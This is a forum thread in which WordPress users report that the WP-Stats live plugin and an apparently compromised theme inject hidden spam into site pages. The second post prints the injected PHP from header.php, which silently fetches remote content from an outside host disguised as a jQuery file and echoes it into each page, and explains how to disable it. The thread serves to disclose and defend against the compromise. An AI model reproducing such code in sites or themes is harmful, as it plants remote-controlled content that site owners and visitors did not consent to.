Linode Forum
Linode Community Forums
 FAQFAQ    SearchSearch    MembersMembers      Register Register 
 LoginLogin [ Anonymous ] 
Post new topic  Reply to topic
Author Message
PostPosted: Sat Apr 07, 2012 2:44 pm 
Offline
Senior Member
User avatar

Joined: Fri Dec 11, 2009 7:09 pm
Posts: 168
A note to anyone using the WP-Stats live plugin-
Quote:
See's who's online, what their reading and where they came from in real time. You don't need to refresh a page to see who is reading your blog!
Version 1.1 | By Sam cunningham |

Not sure what's going on with it, but it is adding a bunch of hidden spam to the page head (starts with:)
Quote:
The biggest danger to your sex life is boredom and...


I spent a bit of time searching my Wordpress install, thinking it had been compromised, but it was a plugin (a google search for a longer phrase turns up thousands of WP sires using this plugin).

The upside- I was away from home, and learned a bit more on using iSSH and viewing page source with an iPad :).

_________________
--
Chris Bryant


Top
   
 Post subject: Another vector of attack
PostPosted: Sat Apr 07, 2012 11:21 pm 
Offline

Joined: Sat Apr 07, 2012 10:56 pm
Posts: 1
Location: Bangkok, Thailand
This forum and this thread was the only one that would come up above the spam listings in the SERPs so it's the one I'll contribute to. Hi.

One of my WP installs got hacked, but it did not have the WP Live Stats plugin installed.

The install is using the "Options Theme", so there may be any number of themes out there that are vulnerable.

In this case the relevant block of code is in header.php

Code:
   <?php if(function_exists('curl_init')) { $url = "http://www.wpstats.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; } ?>


Commenting that out is sufficient to defeat the hack. (Double slash before the if will work...)

Code:
<?php // if(... etc.


Sorry I can't show you a before and after example but it's a site in development for a client.

"The biggest danger to your sex life is boredom"... it hits too close to home. :cry:


Top
   
Display posts from previous:  Sort by  
Post new topic  Reply to topic


Who is online

Users browsing this forum: No registered users and 1 guest


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum

Search for:
Jump to:  
RSS

Powered by phpBB® Forum Software © phpBB Group